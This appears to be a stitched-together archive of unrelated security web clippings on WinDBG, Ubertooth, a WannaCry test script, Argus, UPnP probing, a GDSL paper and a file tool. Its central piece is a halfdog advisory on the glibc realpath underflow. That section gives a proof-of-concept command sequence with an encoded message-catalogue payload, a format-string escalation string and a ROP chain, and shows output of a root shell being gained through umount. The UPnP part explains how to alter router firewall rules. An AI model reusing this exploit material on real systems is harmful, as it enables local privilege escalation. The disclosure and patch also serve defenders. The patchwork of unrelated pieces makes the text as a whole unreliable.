       C6200 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    42000040 flags
             Initialized Data
             Discardable
             (no align specified)
             Read Only
    
    
    
[/code]

# Messages/Exceptions****

When you attach to a process, the modules are displayed first, then WinDBG
displays any applicable messages**.** When we attached to `calc.exe`, WinDBG
automatically sets a breakpoint \(which is just a marker that tells the
debugger uses to pause the execution of a program\)**.** So our message is:

[code]

    (da8.b44): Break instruction exception - code 80000003 (first chance)
    
[/code]

This particular message is an exception, specifically a first chance
exception**.** An exception is basically some special condition that occurred
during the program's operation**.** The first chance means that the progam was
paused right after the exception occurred**.** A second chance exception is
when an exception has occurred, some programming logic to handle exception was
executed, and the program has paused**.**

# Registers****

After the messages/exceptions, the debugger will output the state of the CPU's
registers**.** Registers are basically special variables within the CPU that
store a small amount of data or keep track of where something is in
memory**.** The CPU can process the data in these registers very quickly, so
its faster for the CPU to perform operations on the values in its registers
rather then pulling information all the way down the bus from RAM**.**  
  
WinDBG automatically outputted the following registers after we attached to
`calc.exe`:

[code]

    eax=7ffd9000 ebx=00000000 ecx=00000000 edx=776cd23d esi=00000000 edi=00000000
    eip=77663540 esp=02affd9c ebp=02affdc8 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    
[/code]

Later on down the line, we can reproduce this with the `r` command:

[code]

    0:005> r
    eax=7ffd9000 ebx=00000000 ecx=00000000 edx=776cd23d esi=00000000 edi=00000000
    eip=77663540 esp=02affd9c ebp=02affdc8 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll**!** DbgBreakPoint:
    77663540 cc              int     3
    
    
[/code]

And if we wanted to just retrieve a value of a specific register, we could by
appending the register name:

[code]

    0:005> r eax
    eax=7ffd9000
    
    
[/code]

and multiple registers:

[code]

    0:005> r eax,ebp
    eax=7ffd9000 ebp=02affdc8
    
    
[/code]

# Instruction Pointer****

The final line is instruction to be executed**.** This is outputted as part of
the `r` command and is what the EIP register contains**.** EIP is the
instruction pointer, which is the register that contains the location of the
next instruction for the CPU to execute**.** WinDBG's output is equivalent of
the `u eip L1` command that basically tells WinDBG to go to the memory
location pointed to by EIP, treat that memory as assembly, and print out one
line**.**

[code]

    ntdll**!** DbgBreakPoint:
    77663540 cc              int     3
    
[/code]

# Stay Tuned****

In the next blog post we'll cover actually using WinDBG :\) - breakpoints,
stepping, and looking at memory - stay tuned**\!**  
  
****

# Ubertooth: Bluetooth Address Breakdown – Intrepidus Group - Insight

**Created:**| _2/13/2012 8:56:06 PM_  
---|---  
**Updated:**| _2/13/2012 8:56:09 PM_  
**Author:**| __  
**Tags:**| _bookmark bluetooth_  
  

## Ubertooth: Bluetooth Address Breakdown

Posted: January 29, 2012 – 2:03 pm | Author: mxs | Filed under: Tools, Wireless
The IG crew is just heading back from ShmooCon, which reminds me of last
year’s awesome talk on the Ubertooth One. Intrepidus backed the kickstarter
project and, as promised, got 2 Ubertooths. We recently started playing with
it, and have a couple of tips and a supplementary script.

We originally followed the post here to get the Ubertooth set up on BackTrack
5, but then had some trouble keeping the device connected and sniffing
reliably \(similar to our experience with the Proxmark III — sensing a trend
here <img src='img/Temp2_8670.gif' alt=';)' /> \) After updating the firmware
and setting this up on an Ubuntu host, the device works flawlessly. I honestly
don’t remember if these are my comments in the commands below or if I found it
somewhere on the internetz. I apologize if I stole your commands:

[code]

    cd ubertooth/trunk/host/bluetooth_rxtx/
    ./ubertooth-util -f #puts the device in flash mode. lights should blink prettily.
    cd ../usb_dfu/
    ./ubertooth-dfu write /path/to/firmware/bluetooth_rxtx.bin #this is the standard firmware. there are other special ones. suit yourself.
    ../bluetooth_rxtx/ubertooth-util detach
[/code]

The “Getting Started” section of the Ubertooth site gives a pretty good idea
of what the device can do. We found that the Ubertooth sits on one Bluetooth
channel \(out of the 79\) and sniffs the LAP out of the Bluetooth packets. A
little bit on Bluetooth address breakdown \(This image is from section 3.2 of
this paper\):

<img src='img/Temp2_8669.gif' width='486' height='121' alt='alt' />

Bluetooth address breakdown

Bluetooth MAC addresses are comprised of 3 pieces: the Lower Address Part
\(LAP\), Upper Address Part \(UAP\), and the Non-significant Address Part
\(NAP\). The picture above illustrates this nicely. The Ubertooth can sniff
the LAP out of the air, and use the error checking field in the Bluetooth
packets to figure out the UAP \(ubertooth-lap and ubertooth-nap,
respectively\).

The NAP \(and UAP\) are assigned on a per-vendor bases by the IEEE. That means
the UAP is available through both the Ubertooth and the IEEE database of
NAP+UAP addresses. Using both these resources \(and matching up the UAP from
both\), we can figure out the first 2 NAP bytes pretty quickly\! Of course
it’s also possible to figure it out if we haven’t calculated the NAP \(by
appending the LAP to everything we can pull from the IEEE database and ping
each one sequentially\).

Automating stuff is fun. Here’s my \(sloppy\) script to figure out the NAP
using first the short method, then the long if that one fails:
https://github.com/intrepidusgroup/napfinder

– Max

Post a comment or leave a trackback: Trackback URL.

# Test-WannaCryVulnerability

**Created:**| _5/20/2017 8:59:35 PM_  
---|---  
**Updated:**| _5/20/2017 8:59:35 PM_  
**Author:**| __  
**Tags:**| _post-exploitation powershell_  
  

  

# Test-WannaCryVulnerability

## 2.2

Test for applicable patches to prevent the WannaCry malware. Tests for SMB1
protocol and component.  

### Inspect

` PS> Save-Script -Name Test-WannaCryVulnerability -Path <path> `

### Install

` PS> Install-Script -Name Test-WannaCryVulnerability `

### Deploy

  

# Libc Realpath Buffer Underflow

**Created:**| _3/7/2018 8:47:22 AM_  
---|---  
**Updated:**| _3/7/2018 8:47:22 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit Linux_  
  

  

www.halfdog.net / Security / 2017 / LibcRealpathBufferUnderflow /

Share via f g+

# Introduction

The vulnerability described here is caused by Linux kernel behaviour change in
the syscall API \(returning relative pathnames in getcwd\(\)\) and non-
defensive function implementation in libc \(failing to process that pathname
correctly\). Other libraries are very likely to be affected as well. On
affected systems this vulnerability can be used to gain root privileges via
SUID binaries.

The return value specification change in getcwd\(\) was introduced in Linux
kernel Linux 2.6.36. It has already caused troubles, even in realpath\(\), but
at different location \(see bug report\) and was not identified as security
issue.

## Linux kernel side:

One of the weaknesses of Linux kernel is, that it is not fully POSIX compliant
\(see Wikipedia POSIX\). To allow programmers to produce clean and secure
code, meticulous documentation would be needed, especially to write cross-
platform software. Changes in specification and documentation after software
was already written always pose an extra risk. This is also true for commit
vfs: show unreachable paths in getcwd and proc changing the behaviour of
getcwd\(\). The new specification made it finally to the manpages \(see
getcwd\(2\)\), but at that time glibc was already written. From the somehow
contradictory man page:

_These functions return a null-terminated string containing an \_absolute\_
pathname that is the current working directory of the calling process. The
pathname is returned as the function result and via the argument buf, if
present._

_If the current directory is not below the root directory of the current
process \(e.g., because the process set a new filesystem root using
chroot\(2\) without changing its current directory into the new root\), then,
since Linux 2.6.36, the returned path will be prefixed with the string
"\(unreachable\)". Such behavior can also be caused by an unprivileged user by
changing the current directory into another mount namespace. When dealing with
paths from untrusted sources, callers of these functions should consider
checking whether the returned path starts with '/' or '\(' to avoid
misinterpreting an unreachable path as a relative path...._

_...getcwd\(\) conforms to POSIX.1-2001. Note however that POSIX.1-2001 leaves
the behavior of getcwd\(\) unspecified if buf is NULL._

The documentation is accurate regarding use of _\(unreachable\)_ but most
likely not according POSIX compliance. At least POSIX 2004 and 2008 are
violated, 2001 version of standard seems not available for free. According to
IEEE Std 1003.1-2008 specification of getcwd\(\):

_The getcwd\(\) function shall place an absolute pathname of the current
working directory in the array pointed to by buf, and return buf. The pathname
shall contain no components that are dot or dot-dot, or are symbolic links._

As it seems, that consequences from the change of interface specification on
Linux kernel side only were not recognized by all affected parties. The
realpath\(\) function, which relies on using getcwd\(\) to resolve relative
path names still required the old behaviour. Also the manpage does not reflect
the changes in underlying getcwd\(\) call, see realpath\(3\).

## Libc side:

glibc still assumes that kernel getcwd\(\) would return absolute pathnames and
relies on that behaviour when realpath\(\) attempts to create a canonicalized
absolute pathname:

_realpath\(\) expands all symbolic links and resolves references to /./, /../
and extra '/' characters in the null-terminated string named by path to
produce a canonicalized absolute pathname..._

When resolving a relative symbolic link, e.g. _../../x_ , realpath\(\) will
use the current working directory, assuming it will start with a /. The
function starts at the end of the getcwd pathname to jump forward from slash
to slash for each _../_ found in the symbolic link to resolve. It does not
check the boundaries of the buffer, thus may end up at a slash before the
string buffer used to create the canonicalized absolute pathname. So resolving
the link named above with getcwd\(\) returning _\(unreachable\)/_ , the second
_../_ will have moved the pointer before the buffer, the next part _x_ is then
copied to this memory location. As realpath usually operates on heap buffers.

# Methods

This section describes how to improve a simple demonstrator to a complex,
ASLR-aware high-reliable exploit. The steps used might not be the most elegant
way to do so. Any hints for improvement are appreciated.

To exploit the underflow for privilege escalation, the _mount, unmount_ SUID
binaries are most suitable targets: they process pathes using realpath\(\), do
not drop privileges and can be invoked by any user. _umount_ was selected as
candidate as it allows to process more than one mountpoint per run, thus
traversing the problematic code more than once. This seemed to be the best way
to allow user controlled gradual memory editing, defeat of ASLR measures and
finally quite reliable code execution.

As _umount_ realpath\(\) operates on heap, the first step was to create a
reproducible heap layout. This was done be removing all interfering
environment variables and just working with those related to locale support.
As locales are initialized before umount option parsing, this editing affectes
the heap structure and content lower addresses than the buffer used in the
fatal realpath\(\) call. Therefore the current exploit relies on the
availability of a single locale, but _libc-bin_ on standard systems provides
one: _/usr/lib/locale/C.UTF-8_. It is loaded by using the environment variable
_LC\_ALL=C.UTF-8_.

After locale setup, the realpath buffer underflow will overwrite a slash in a
locale string, used for loading of national language support \(NLS\) files,
thus changing it to a relative pathname. Thus user controlled translations of
umount error messages are loaded, giving write access to some memory adresses
using the %n format feature of _fprintf_ to modify memory. As the stack layout
used by fprintf is fixed, any address references will work without considering
ASLR. Luckily, one of those references points to the _struct libmnt\_context_
defined in _libmount/src/mountP.h_ from util-linux:

struct libmnt\_context \{ int action; /\* MNT\_ACT\_\{MOUNT,UMOUNT\} \*/ int
restricted; /\* root or not? \*/ char \*fstype\_pattern; /\* for
mnt\_match\_fstype\(\) \*/ char \*optstr\_pattern; /\* for
mnt\_match\_options\(\) \*/ ...

As the _restricted_ field is within reach, overwriting it will make umount
believe, that it was started by root, even when it was not. This can be used
for a quite simple DoS by unmounting the root filesystem, which will cause
very funny side effects on running programs, e.g. aborts, SEGV, .... Follwing
commands demonstrate the behaviour on fully patched Debian Stretch amd64 with
libc6 2.24-11+deb9u1 and umount from package mount 2.29.2-1. Keep in mind,
that this simplified POC operates on the umount process memory, thus will need
adoption to other software versions:

\# Enable USERNS clone as root for demonstration: root$ echo 1 > /proc/sys/kernel/unprivileged\_userns\_clone \# As normal user create a new namespace: test$ /usr/bin/unshare -m -U --map-root-user /bin/sh \# Caveat: following steps are performed as USERNS-root, not real \# root user. root$ mount -t tmpfs tmpfs /tmp root$ cd /tmp root$ chmod 00755 . root$ mkdir -p -- "\(unreachable\)/tmp" "\(unreachable\)/tmp/from\_archive/C/LC\_MESSAGES" "\(unreachable\)/x" root$ ln -s ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A "\(unreachable\)/tmp/down" \# Make mount unrestricted by overwriting struct libmnt\_context, thus \# affecting mnt\_context\_is\_restricted in "libmount/src/context.c". root$ base64 -d <<B64-EOF | bzip2 -cd > "\(unreachable\)/tmp/from\_archive/C/LC\_MESSAGES/util-linux.mo" QlpoOTFBWSZTWTOfm9IAAGX/pn6UlARGB+FeKyZnAD/n3mACAAAgAAEgAJSIqfkpspk0eUGJ6gAG mQeoaD1PJAamlPJGCNMTIaNGmnqMQ0AAzSwpEWpQICVUw+490ohZBgZ+s4EBAZCn/TavSQshtCiv iG6HOehyAp4FPt3zkpdTxNchTYITLBkXUjsgpN2QDBNX8qmbpkVgfLXKcQc1ZhVF0FxUQOtnbGlL 5NhRmORwmQF1Dw3Yu1mds6tGAmnLwWwc2KRKGl5hcLuSKcKEgZz83pA= B64-EOF root$ echo "$$" 2299 \# Now continue in another shell using the USERNS pid from before: test$ cd /proc/2299/cwd test$ LC\_ALL=C.UTF-8 /bin/umount --lazy down / umount: AAlnAAAAAAAAAAA 
The simplified single-stage POC from above has multiple drawbacks: it can only
reliable toggle the permissions bit, thus allowing unmounting / causing DoS,
but not arbitrary code execution. For that, ASLR has to be defeated first.
This can be done by following sequence of events:

  * Start umount with large number of environment variables that containing "AANGUAGE=X.X", that are just one letter off from correct language settings. The large number of environment variables "sprays" the upper stack area with a long list of valid pointers.
  * Let umount call realpath\(\) and underflow. When the error message is printed, a first-stage message catalogue file is loaded and the format string dumps the whole stack to stderr, remove the "restricted" bit similar to simplified POC and write a 'L' to the sprayed stack, modifying one entry to "LANGUAGE=X.X".
  * Due to change of language, umount will attemt to load another language catalogue. As the exploit prepared a pipe with that name, umount will block here giving the exploit the chance to synchronize, create an updated message catalogue and let umount continue.
  * The updated format strings now contain all offsets for the currently running binary. But the stack does not contain suitable pointers for writing and fprintf ignores changes of argument pointers while running because secure printf copies the values down the stack, where we cannot use them directly. Hence fprintf must be invoked more than once with the same \(unmodified\) format string, but still has to behave different on each invocation to overwrite different memory locations. This is done using the format string itself for arithmetics, each fprintf invocation as clock and the length of path-name input as instruction pointer, thus creating a simplified virtual machine.
  * The repeated format string processing changes the return pointer from main function to two other functions: getdate\(\) and execl\(\). Those functions were choosen for ROP because a single call to system\(\) would not work on Ubuntu. This is due to /bin/sh having a patch missing in Debian, that will reset the effective UID when not matching the the current UID. But as exec calls require a more complex stack/register configuration, let getdate\(\) do the work for us. For escalation using umount, calling execve in the end should work also on SELinux/AppArmor hardened systems. Umount needs to call file system helpers during normal operation also. On other systems, execl\(\) could be replaced by dlopen\(\), to inject code into running process.
  * The invoked program file contains a shebang to make the operating system invoke the exploit program as interpreter. The exploit then changes his own file ownership and mode to become a root SUID binary and terminates. Starting the shell here immediately would be possible, but the mount process has a strange set of environment variables, which is not so convenient for further shell use. Apart from that, by terminating the caller can detect successful escalation, perform all cleanup.
  * When the initial caller of mount notices the mode change of the file, it performs the cleanup and invokes the SUID binary to use its secondary function - a SUID shell, thus completing the escalation.

All those steps are currently implemented in RationalLove.c apart for the code
to create the namespace. Therefore the pid of a suitable namespace process has
to be hardcoded before compiling. Here is the output of exploit invocation:

test@test$ ./RationalLove ./RationalLove: setting up environment ...
./RationalLove: using umount at "/bin/umount". Attempting to gain root, try 1
of 10 ... Starting subprocess Stack content received, calculating next phase
Found source address location 0x7fffb6505d18 pointing to target address
0x7fffb6505de8 with value 0x7fffb650723f, libc offset is 0x7fffb6505d08
Changing return address from 0x7f9617db62b1 to 0x7f9617e41c30, 0x7f9617e4e900
Using escalation string
%67$hn%71$hn%1$6116.6116s%65$hn%69$hn%1$1100.1100s%64$hn%1$25446.25446s%66$hn%70$hn%1$26986.26986s%68$hn%1$5888.5888s%1$23798.23798s%1$s%1$s%63$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%37$hn-%35$lx-%37$lx-%62$lx-%63$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%78$s
Executable now root-owned Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ... root@test\# id
uid=0\(root\) gid=0\(root\) groups=0\(root\),100\(users\)

ASLR could also be circumvented using a but in mount environment variable
handling, see util-linux mount/unmount ASLR bypass via environment variable.

# Results, Discussion

As for example, misbehaviour can be triggered when performing a _getcwd_ call
in a directory not visible in the current mount namespace of the process. See
mount\_namespaces man page for more information. Therefore a process has to
reach such a directory within another namespace. There should be various ways
to do that, e.g. using the _proc_ filesystem to enter the working directory of
another process \(method used in exploit\), by passing file descriptors via
_SCM\_RIGHTS_ between cooperating processes in different namespaces. Therefore
this vulnerability shows again the importance of system hardening by disabling
USERNS when not needed.

On a system with unprivileged USERNS enabled, an attacker can create all required namespaces. On other systems, it might be possible to use namespaces created by other processes using the _proc_ access approach. These can be discovered using _readlink /proc/\*/ns/mnt | sort -u_. While _systemd-udevd_ just uses a namespace in a way required for exploitation, the _/proc/\[pid\]/cwd_ link cannot accessed by unprivileged users. Still _systemd-udevd_ is a good example, how hardening of a single application by namespaces might also create additional attack surface, not only in the application itself. Hence the attack method described here may also be appropriate to attack other applications using the same hardening measures, e.g. lxc or docker.
## Affected systems:

Systems with **Linux Kernel** prepending getcwd\(\) path with non-path
components, e.g. to indicate unreachable pathes. Such code can be found in
_fs/dcache.c_ :

static int prepend\_unreachable\(char \*\*buffer, int \*buflen\) \{ return
prepend\(buffer, buflen, "\(unreachable\)", 13\); \}

Most likely this code was created in analogy to the _\(deleted\)_ suffix to
indicate file handles to deleted files, e.g.:

test$ touch /tmp/x test$ exec 3</tmp/x test$ rm /tmp/x test$ readlink
/proc/self/fd/3 /tmp/x \(deleted\)

**Userspace:** Currently only libc is proven to misbehave when Linux
getcwd\(\) returns a relative path. But other libraries or tools might also
fail in unexpected ways due to that bug.

**glibc:** Here the underflow occurs in _\_\_realpath_ from
_stdlib/canonicalize.c_ :

42 char \* 43 \_\_realpath \(const char \*name, char \*resolved\) 44 \{ ... \#
When resolving a relative pathname, getcwd\(\) is called: 86 if \(name\[0\]
\!= '/'\) 87 \{ 88 if \(\!\_\_getcwd \(rpath, path\_max\)\) 89 \{ 90
rpath\[0\] = '\0'; 91 goto error; 92 \} 93 dest = \_\_rawmemchr \(rpath,
'\0'\); 94 \} 95 else ... \# Loop over all name components: 101 for \(start =
end = name; \*start; start = end\) 102 \{ ... \# If the name component is
"..", remove it. This underflows the \# buffer if rpath does not contain a
starting slash. 118 else if \(end - start == 2 && start\[0\] == '.' &&
start\[1\] == '.'\) 119 \{ 120 /\* Back up to previous component, ignore if at
root already. \*/ 121 if \(dest > rpath + 1\) 122 while \(\(--dest\)\[-1\] \!=
'/'\); 123 \} 124 else \# The name component is not ".", "..", so copy the
name to dest. 125 \{ 126 size\_t new\_size; 127 128 if \(dest\[-1\] \!= '/'\)
129 \*dest++ = '/'; ...

Therefore a simple patch could be glibc-fail-on-unreachable-v1.patch \(nearly
UNTESTED, older version v0\):

\--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000 +++
stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000 @@ -91,6 +91,11 @@
goto error; \} dest = \_\_rawmemchr \(rpath, '\0'\); +/\* If path is empty,
kernel failed in some ugly way. Realpath +has no error code for that, so die
here. Otherwise search later +on would cause an underrun when getcwd\(\)
returns an empty string. +Thanks Willy Tarreau for pointing that out. \*/ \+
assert \(dest \!= rpath\); \} else \{ @@ -118,8 +123,17 @@ else if \(end -
start == 2 && start\[0\] == '.' && start\[1\] == '.'\) \{ /\* Back up to
previous component, ignore if at root already. \*/ \- if \(dest > rpath + 1\)
\- while \(\(--dest\)\[-1\] \!= '/'\); \+ dest--; \+ while \(\(dest \!=
rpath\) && \(\*--dest \!= '/'\)\); \+ if \(\(dest == rpath\) && \(\*dest \!=
'/'\) \{ \+ /\* Return EACCES to stay compliant to current documentation: \+
"Read or search permission was denied for a component of the \+ path prefix."
Unreachable root directories should not be \+ accessed, see
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ \*/ \+
\_\_set\_errno \(EACCES\); \+ goto error; \+ \} \+ dest++; \} else \{

## Outlook:

It might be worth analyzing how ftp server implementation, webservers will
react in such context. In some cases, this may require combination with
application specific bugs or unexpected behaviour, e.g.
ApacheNoFollowSymlinkTimerace.

# Timeline

  * 20171231: Reported to distros list as glibc errors should be reported to distros first.
  * 20180101: Info distros: kernel issue should be handled first. Reported to kernel security.
  * 20180102: Kernel security reply: getcwd\(\) behaviour documented in "getcwd\(\) 3" man pages, not an issue. Only libraries need fixing.
  * 20180107: Final high-reliability anti-ASLR exploit for Stretch/Xenial using getdate/execl
  * 20180110: CVE CVE-2018-1000001 assigned.
  * 20180111: Publication without exploit code.
  * 20180112: SUSE distributes fixes: SUSE-SU-2018:0071-1
  * 20180116: Release of demonstrator code

# Material, References

  * Linux POSIX compliance: Wikipedia
  * POSIX IEEE Std 1003.1-2008: getcwd
  * Linux mount namespaces: man page
  * Commit effecting getcwd\(\) in Linux kernel: vfs: show unreachable paths in getcwd and proc
  * mount/umount small anti-ASLR bug: util-linux mount/unmount ASLR bypass via environment variable
  * glibc bug: 22679
  * Debian bug report: 887001
  * Redhat bug report: 1530306
  * SUSE bug report: 1074293
  * Vulnerability identifier: CVE-2018-1000001
  * Security tracker: 1040162
  * Fixes: glibc upstream
  * Discussion: opennet.ru, reddit.com
  * Articles with "added value" - not just copy/translation: freebuf.com

Last modified 20180208  
Contact e-mail: me \(%\) halfdog.net

  

# Episode149 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:01:03 PM_  
---|---  
**Updated:**| _8/5/2009 1:01:23 PM_  
**Author:**| __  
**Tags:**| _security tools packet-analysis pauldotcom Tutorials_  
  

# Tech Segment: An Introduction to Argus \[Mick\]

Argus stands for **A** udit **R** ecord **G** eneration and **U** tilization
**S** ystem. Argus is an open source program designed to perform IP network
traffic auditing and provide Real Time Flow Monitoring. The Argus Project was
started at Carnegie Mellon's Software Engineering Institute \(SEI\) in 1993,
and subsequently released into the public domain, then taken over by QoSient
LLC. According to the Argus website, it is developed on Linux and FreeBSD, and
is tested on OpenBSD, NetBSD and Solaris. It has been ported to IRIX but
really should port fine to any Unix O.S. However, as Argus uses libpcap as its
packet capture interface, it can only be ported to systems that support
libpcap.

  * Argus Flows - An Argus Flow is simply a set of datagrams that share a common set of datagram attributes.
    * Destination Address
    * Network Addresses
    * Addresses, Protocol, NSAPs, TTL, DSByte, Session Ids, Application data, etc,…

Argus uses a fix flow model taxonomy, to categorize every packet on the wire
and supports 13 simultaneous flow models, enabling Layers 2 thru 5 based flow
tracking & reporting.

  * Argus uses a client server model:
    * Data collection engine \(Server\):
      * Monitors the network using libpcap, and collects network data into audit trails.
      * This engine can output the data to a file or to a socket.
    * Argus client: Reads audit data from a file or from a socket.

The following is from the Argus FAQ \-

* * *
  * How do I run Argus?

Argus is run either as a persistent daemon, reading live packets from a
network interface, or as a program, reading packets from a packet capture
file. The default, i.e. when it is run without any configuration, is to run as
a daemon. The only real question to answer is where do you want argus to send
its output. The basic options are to write to a file, or to offer remote
access via a socket, or both. Most installations will run configure argus to
write its output to a file. To do this, run argus as:

[code]

        # argus -w outputfile
    
    
[/code]

This will cause Argus to run as a daemon, reading packets from the first
available network interface, and writing its output to an outputfile. If you
intend to remotely attach to this argus, you'll need to tell argus what port
to put a listen down on. The default port for clients is port 561. We
recommend using this port number.

[code]

       # argus -P 561 -w outputfile
    
    
[/code]

In order to configure argus to read packets from a packet capture file, use
the "-r" option.

[code]

       % argus -r ./packetfile
    
    
[/code]

Argus has a large number of options, which can be set through an .argusrc
file, the use of command line options, or through a separate configuration
file that is specifed at run time. These options are designed to specify
things like, what type of information Argus should capture, how often it
should generate output records, whether it should put the network interface in
promiscuous mode when run, should it create a pid file, etc... The complete
list is described int the argus.8 man page.

  * How do you run argus on your systems?

[code]

       # argus -e `hostname` -P 561 -U128 -mRS 30 -w $ARGUSHOME/argus.out
    
    
[/code]

* * *
So that's all there is right? We haven't even scratched the surface yet\!

One of the things I love about argus are the client applications that are
distributed with it. These tools IMO are where argus really shines ra, rasort,
and ragator give you some interesting abilities as you slice and dice your
argus capture files.

ra allows you to read the entirety of the argus capture file -- and there's
tons you can do with it, but to get started quickly, you might want to
checkout the ra "daughter" apps. They are all based on ra, but help automate
everything.

For instance, rasort is a great one to start since it lets you quickly learn
things you might not have ever known.

  * Who are the top talkers in terms of chatter?

[code]

       # rasort -s packets -r $ARGUSHOME/argus.out
    
    
[/code]

  * Who are the top talkers in terms of data volume? \(handy for finding P2P folks in your network\)

[code]

       # rasort -s bytes -r $ARGUSHOME/argus.out
    
    
[/code]

  * Which hosts have had the longest session \(used this to find someone using TCP keepalives when we politely told them not to\!\)

[code]

       # rasort -s duration -r $ARGUSHOME/argus.out
    
    
[/code]

  
I hope this has whetted your appetite for argus. If you want to know more
about this handy tool, just let us know\! We'll be happy to go into more
details. Future tech segments, Hack Naked TV, you name it\!

* * *
As an added bonus: Larry "boy do I love me some WiFi" Pesce was kind enough to
send me a link to folks who are using a wrt54gl as the source\!

All I can say is WOW\!\! If only there were a wifi ap which had more storage
available to it... \(cue foreshadowing music\)

* * *
# Tech Segment Short: UPnP Detection & Exploitability

UPnP is bad, if left open it can allow hosts behind your firewall to
manipulate rules. In fact, the Conficker worm uses this to change your
firewall and help it spread. You can use several tools to find open UPnP
services, such as Nmap. Below, I ran Nmap against a WRT54G Version 8 router
with the default factory firmware:

**Command:**

[code]

    # nmap -sVU -sC -p1900 192.168.1.65
    
[/code]

**Output:**

[code]

    Starting Nmap 4.76 ( http://nmap.org ) at 2009-04-16 16:37 EDT
    Interesting ports on 192.168.1.65:
    PORT     STATE SERVICE VERSION
    1900/udp open  upnp?
    |  upnp-info:  VxWorks/5.4.2 UPnP/1.0 iGateway/1.1
    |_ Location:  http://192.168.1.65:2869/IGatewayDeviceDescDoc
    MAC Address: 00:1A:70:75:B5:FB (Cisco-Linksys)
    
    Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 57.41 seconds
    
[/code]

THe SSDP port \(1900\) provides information about which services the UPnP host
is offering \(It also leaks the operating system and version, BONUS\!\). One
of the ways it does this is to provide a link to the HTTP interface and
associated XML configuration. You can see the link above, if we visit that
link we are presented with an XML file, which contains things like:

[code]

    <presentationURL>http://192.168.1.65:80/</presentationURL>
    
[/code]

Which is the management interface URL and port. Nice\! From here we can go
ahead and change firewall rules, add new ones, etc... There is a Nessus
plugin, \(35711,
\[href="http://www.nessus.org/plugins/index.php?view=single&id=35711 UPnP
discovery\]\) that will attempt to create firewall rules, and if successful
throw an alert \(it removes them after :\). What I found interesting is that
there is no built-in authentication to UPnP\! GNUCITIZEN has some good stuff
on this as well:

Hacking The Interwebs

Hacking with UPnP \(Universal Plug and Play\)

# GDSL: A Universal Toolkit for Giving Semantics to Machine Language

**Created:**| _10/25/2013 8:48:24 AM_  
---|---  
**Updated:**| _10/25/2013 8:49:14 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification reversing semantic il_  
  

J. Kranz, A. Sepp and A. Simon. **GDSL: A Universal Toolkit for Giving
Semantics to Machine Language**. In C. Shan, editor, _Asian Symposium on
Programming Languages and Systems_ , Melbourne, Australia, December 2013.
Springer.

  

The static analysis of executable programs has gained importance due to the
need to audit larger and larger programs for security vulnerabilities or
safety violations. The basis for analyzing executables is the decoding of byte
sequences into assembler instructions and giving a semantics to them. We use
our domain specific language GDSL that facilitates this task to specify Intel
x86 semantics. In particular, we show how simple optimizations of the
generated code can drastically reduce its size. Moreover, since these
optimizations are also written in GDSL they can be re-used with other
processor front-ends. Hence, analyses based on our toolkit can be adapted to
several architectures with little change.

  

Download: PDF Reference: Bibtex The original publication is available at
www.springerlink.com  

  

  

<img src='img/kranz13gdsl.pdf' width='100%' height='7479' />

# DropIt: Personal Assistant to Automatically Manage Your Files

**Created:**| _11/8/2014 7:58:22 PM_  
---|---  
**Updated:**| _11/8/2014 7:58:22 PM_  
**Author:**| __  
**Tags:**| __  
  

## Supported Actions

Currently DropIt allows to perform the following 20 actions on your files and
folders:

  * **Move** : to move files/folders to the defined destination folder \(for example to organize images by date and properties\). 
  * **Copy** : to copy files/folders to the defined destination folder. 
  * **Compress** : to compress files/folders in one of the supported destination archive formats \(_ZIP, 7Z, Self-Extracting EXE_\). 
  * **Extract** : to extract supported archives in the defined destination folder \(_7Z, APM, ARJ, BZIP2, CAB, CHM, CPIO, DEB, DMG, EXE, FAT, FLV, GZIP, HFS, ISO, JAR, LHA, LZH, LZMA, MBR, MSI, MSLZ, NFTS, NSIS, ONEPKG, RAR, RPM, SMZIP, SQX, SWF, TAR, UDF, VHD, WIM, XAR, XZ, Z, ZIP_\). 
  * **Rename** : to rename files/folders with the defined new name \(using abbreviations to customize it\). 
  * **Delete** : to delete files/folders with the defined method: _Directly Remove_ \(files are removed, but they could be restored using a recovery tool\), _Safely Erase_ \(files are overwritten with the “DoD 3-pass” wiping method, to make them unrecoverable\), _Send to Recycle Bin_ \(files are sent to recycle bin and are still available from there\). 
  * **Split** : to split files/folders in parts with a defined size. 
  * **Join** : to recombine files/folders previously split \(automatically trying to load missing parts\). 
  * **Encrypt** : to encrypt files/folders in the defined destination folder \(to protect your personal data\). 
  * **Decrypt** : to decrypt files/folders in the defined destination folder \(previously encrypted with DropIt\). 
  * **Open With** : to open files with the defined destination program \(parameters supported\). 
  * **Upload** : to upload files/folders to a server using _FTP_ or _SFTP protocols_. 
  * **Send by Mail** : to attach files/folders to a mail and send them using _SMTP protocol_. 
  * **Create Gallery** : to create a image gallery in the destination folder \(_HTML_\). In particular you can create galleries with several themes like Brochure, Circles, Default, Pile, SquareHeads and many others. 
  * **Create List** : to create a list of files/folders in one of the supported destination file formats \(_HTML, PDF, XLS, TXT, CSV, XML_\). In particular you can create HTML lists with several themes like Arrowistic, Casablanca, DeepGreen, Default, Precision and many others. 
  * **Create Playlist** : to create a playlist of files in one of the supported destination file formats \(_M3U, M3U8, PLS, WPL_\). 
  * **Create Shortcut** : to create file/folders shortcuts in the destination folder. 
  * **Copy to Clipboard** : to copy the desired file information to the system Clipboard. 
  * **Change Properties** : to change file date, time and attributes. 
  * **Ignore** : to ignore files/folders and skip them during process. 
  * 

# L4/Valgrind - Diplomarbeit

**Created:**| _9/11/2010 11:02:48 AM_  
---|---  
